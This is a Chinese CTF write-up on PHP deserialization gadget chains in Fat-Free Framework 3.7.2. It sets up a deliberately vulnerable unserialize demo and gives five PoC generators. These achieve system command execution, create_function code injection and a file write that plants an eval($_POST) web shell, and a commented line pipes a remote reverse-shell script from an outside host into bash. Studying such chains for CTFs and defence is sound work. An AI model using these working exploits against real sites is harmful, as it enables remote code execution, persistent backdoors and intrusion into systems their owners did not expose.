fatfree反序列化探析
一个php框架,全称fat free framework,版本3.7.2,源码是这个https://github.com/bcosca/fatfree
这里主要探讨几种fatfree常见的反序列化利用poc,wmctf2020,国赛2020都有出现
demo,直接把index.php修改为如下
<?php
// Kickstart the framework
$f3=require('lib/base.php');
if ((float)PCRE_VERSION<8.0)
trigger_error('PCRE version is out of date');
$f3->route('GET /',
function($f3) {
echo "easyfatfree unserialize me";
}
);
unserialize($_GET['payload']);
$f3->run();
poc1
调用栈:
\CLI\Agent::__destruct()->\CLI\Agen::fetch()->DB\SQL\Mapper::__call()
然后func就变了可控(可控)
<?php
namespace DB\SQL {
class Mapper
{
protected $props;
public function __construct($props)
{
$this->props = $props;
}
}
}
namespace CLI {
class Agent
{
protected $server;
protected $socket;
public function __construct($server, $socket)
{
$this->server = $server;
$this->socket= $socket;
}
}
class WS
{
protected $events = [];
public function __construct($events)
{
$this->events = $events;
}
}
}
namespace {
class Log
{
public $events = [];
public function __construct($events)
{
$this->events = $events;
}
}
$a = new DB\SQL\Mapper(array("read"=>"system")); //把props赋值为props[read]=system
$b = new CLI\Agent($a, 'dir'); //$a即为Mapper的实例化对象,且不含有read()方法。触发了Mapper的__call()方法,返回了system替换read。同时dir为socket赋值,作为system的参数
$c = new Log(array("disconnect"=>array($b,'fetch')));//给event[]变量赋值为array("disconnect"=>array($b,'fetch')), array($b,'fetch')即为fentch,其中$b为fetch的所属类
$d = new CLI\Agent($c, '');//触发__destruct()的点,这里的类是随意的。
$e = array(new \CLI\WS(""),$d); //为了加载ws.php
echo urlencode(serialize($e))."\n";
}
这一条参考https://xz.aliyun.com/t/9220就好,文章讲的非常好,大伙可以举一反三的学
调用栈:
CLI\Agent::__destruct()
分析:
由于要构造Pop链子,首先找destruct或者construct
\CLI\Agent::__destruct()
function __destruct() {
if (isset($this->server->events['disconnect']) &&
is_callable($func=$this->server->events['disconnect']))
$func($this);
}
可以尝试将$func控制为任意函数,所以联想到控制$this->server->events['disconnect']
is_callable()
判断$fun是否为可执行的函数,其值可以为一个数组。
最终poc在我们调试的时候也可以看到他是一个数组
为何回去想要使用数组?
咱先看看直接这个函数可不可以利用:
那么如何通过这个函数进行RCE呢?这里寻找函数就变得很重要。
仔细观察,函数名$func可控(由于没有箭头最终还是要在Agent作用域内执行),但是参数$this不可控,只能是$this,观察下Agent,Agent没有__toString
方法也表明了这里没办法因为$this作为参数和触发__toString从而实现任意命令执行
因为这里无法控制这个函数的参数。
那这样我们尝试使用数组
所以$this->server->events['disconnect']如果是数组,那么$func($this)就会变成 数组(参数)的形式,从而调用任意函数(Agent域内),在这个Agent下找不到什么危险函数
因此我们只能在$this->server->events['disconnect'] 这个时候想办法触发__call方法
搜寻类似这种格式。
$A->B($this->C)
正则\$.*->.*\(\$this->.*\)
其中$A是我们可控的,为某一个类。B是用来触发
__call()
方法的$A类中的那个并不存在的方法。__call()
方法的返回值即为危险方法,比如system()
等。C也是我们可控的一个变量。在这道题中作为system()
的参数。
但是如果真这样正则匹配那又太多了,直接全局搜索__call
一下子少很多
大多都含有敏感函数call_user_func_array
,再寻找哪个有可控参数,最后找到DB\SQL\Mapper
function __call($func,$args) {
return call_user_func_array(
(array_key_exists($func,$this->props)?
$this->props[$func]:
$this->$func),$args
);
}
$func,$args,$this->props完全可控
想办法让它return危险函数
但是想起一个限制:Agent析构函数的$func($this)
似乎已经限制了作用域的选择,所以即使通过传入数组绕过is_callable
的判断还是无法成功触发别的作用域中的__call
,最终还是要在Agent中寻找触发点,也就是符合$class->$func($args)
的格式,然后找到了fetch方法:
CLI\Agent::fench
function fetch() {
// Unmask payload
$server=$this->server;
if (is_bool($buf=$server->read($this->socket)))
return FALSE;
...
}
把$this->server变成Mapper,由于Mapper不存在read方法,控制server和socket就可以触发__call
实现任意命令执行
也就是\CLI\Agent::__destruct()->\CLI\Agen::fetch()->DB\SQL\Mapper::__call()
之后__call返回的是我们恶意构造的system(dir)
poc2
注意一些技巧:
只给了一个反序列化。应该考察的是反序列化,那么就需要寻找入口函数
__destruct()或者__wakeup()
,如果遇到被删掉的,说明主办方想防止走偏。
而在蓝帽杯2022和国赛2020中,fetch方法被删除,所以要重新找链子
咱们举一反三
这里是Wmctf官解的链子
官方选择的
__call
函数触发点与上面不同,是从DB\Mongo\Mapper
的insert函数触发,不过最终还是要通过DB\SQL\Mapper
的__call
方法实现任意命令执行。
poc
<?php
namespace CLI{
class Agent
{
protected $server;
public function __construct($server)
{
$this->server=$server;
}
}
class WS { }
}
namespace DB{
abstract class Cursor implements \IteratorAggregate {}
class Mongo {
public $events;
public function __construct($events)
{
$this->events=$events;
}
}
}
namespace DB\Mongo{
class Mapper extends \DB\Cursor {
protected $legacy=0;
protected $collection;
protected $document;
function offsetExists($offset){}
function offsetGet($offset){}
function offsetSet($offset, $value){}
function offsetUnset($offset){}
function getIterator(){}
public function __construct($collection,$document){
$this->collection=$collection;
$this->document=$document;
}
}
}
namespace DB\SQL{
class Mapper extends \DB\Cursor{
protected $props=["insertone"=>"system"];
function offsetExists($offset){}
function offsetGet($offset){}
function offsetSet($offset, $value){}
function offsetUnset($offset){}
function getIterator(){}
}
}
namespace{
$SQLMapper=new DB\SQL\Mapper();
//$MongoMapper=new DB\Mongo\Mapper($SQLMapper,"curl https://shell.now.sh/39.106.207.66:2333 |bash");
$MongoMapper=new DB\Mongo\Mapper($SQLMapper,"calc");
$DBMongo=new DB\Mongo(array('disconnect'=>array($MongoMapper,"insert")));
$Agent=new CLI\Agent($DBMongo);
$WS=new CLI\WS();
echo urlencode(serialize(array($WS,$Agent)));
}
直接复现官解本地会报错,之后我有时间再看看怎么回事
poc3
https://www.4hou.com/posts/qDk2
同样是fetch方法被删除,所以要重新找链子
<?php namespace DB\SQL {
class Mapper {
protected $props;
function __construct($props) {
$this->props = $props;
}
}
}
namespace CLI {
class Agent{
protected $server;
protected $socket;
function __construct($server,$socket) {
$this->server = $server;
$this->socket= $socket;
}
}
class WS{
protected $events = [];
function __construct($events)
{
$this->events = $events;
}
}
} namespace
{
class Image{
public $events = [];
function __construct($events) {
$this->events = $events;
}
}
// $a = new DB\SQL\Mapper(array("write"=>"create_function"));
// $b= new CLI\Agent($a,'){}readfile("/tmp/ffff1l1l1a449g");//');
$a = new DB\SQL\Mapper(array("write"=>"call_user_func"));
$b= new CLI\Agent($a,'phpinfo');
$c = new Image(array("disconnect"=>array($b,'send')));
$d = new CLI\Agent($c,'');
$e = new CLI\WS($d);
echo urlencode(serialize($e))."\n";
} ?>
之前咱poc1\CLI\Agent::__destruct()->\CLI\Agen::fetch()->DB\SQL\Mapper::__call()
之中使用的是fetch方法,由于fetch中有个mapper中不纯在的read函数,所以触发了call,我们找了一下,send方法和触发反序列化的函数的那行代码极其相似,
如法炮制一下应该也会触发DB\SQL\Mapper::__call()
说明同样的开发习惯会对工程文件有深远的影响
我们拿poc调试一下,发现的确如此
\CLI\Agent::__destruct()
这次要去send
\CLI\Agen::send()
到这里就又一样了
之前采取的是system执行系统命令,如果想要执行任意命令的话,由于这里的参数只有一个可控,我们会采取create_function的做法
我们发现,此处$server和$this->socket均可控,那么可以用来构造任意代码执行。但是存在问题,哪一个命令执行的php函数有2个参数,且第一个参数可控,第二个参数不可控就可以进行RCE?这里想到create_function,我们可以利用如下方式,在第一个参数位置进行代码注入:
){}phpinfo();//
构造exp,并发现可以成功执行phpinfo:
就像这样
$a = new DB\SQL\Mapper(array("write"=>"create_function"));
$b= new CLI\Agent($a,'){}phpinfo();//');
poc4
<?php
namespace DB{
abstract class Cursor implements \IteratorAggregate {}
}
namespace DB\SQL{
class Mapper extends \DB\Cursor{
protected
$props=["quotekey"=>"call_user_func"],
$adhoc=["phpinfo"=>["expr"=>""]],
//$props=["quotekey"=>"file_put_contents"],
//$adhoc=["calc"=>["expr"=>""]],
$db;
function offsetExists($offset){}
function offsetGet($offset){}
function offsetSet($offset, $value){}
function offsetUnset($offset){}
function getIterator(){}
function __construct($val){
$this->db = $val;
}
}
}
namespace CLI{
class Agent {
protected
$server="";
public $events;
public function __construct(){
$this->events=["disconnect"=>array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")),"find")];
$this->server=&$this;
}
};
class WS{}
}
namespace {
echo urlencode(serialize(array(new \CLI\WS(),new \CLI\Agent())));
}
类似,这次使用的是find方法
poc5
任意文件写入
<?php
namespace DB{
class Jig {
public $format;
public $data;
public $lazy;
public $dir;
}
}
namespace {
$jig = new \DB\Jig();
$jig->format = 0;
$jig->data = array('ui/shell2.php'=>['aaa'=>'<?php eval($_POST[thai]);phpinfo();?>']);
$jig->lazy = TRUE;
$jig->dir = './';
echo urlencode(serialize($jig));
}
想不到吧,这次蓝帽是用这个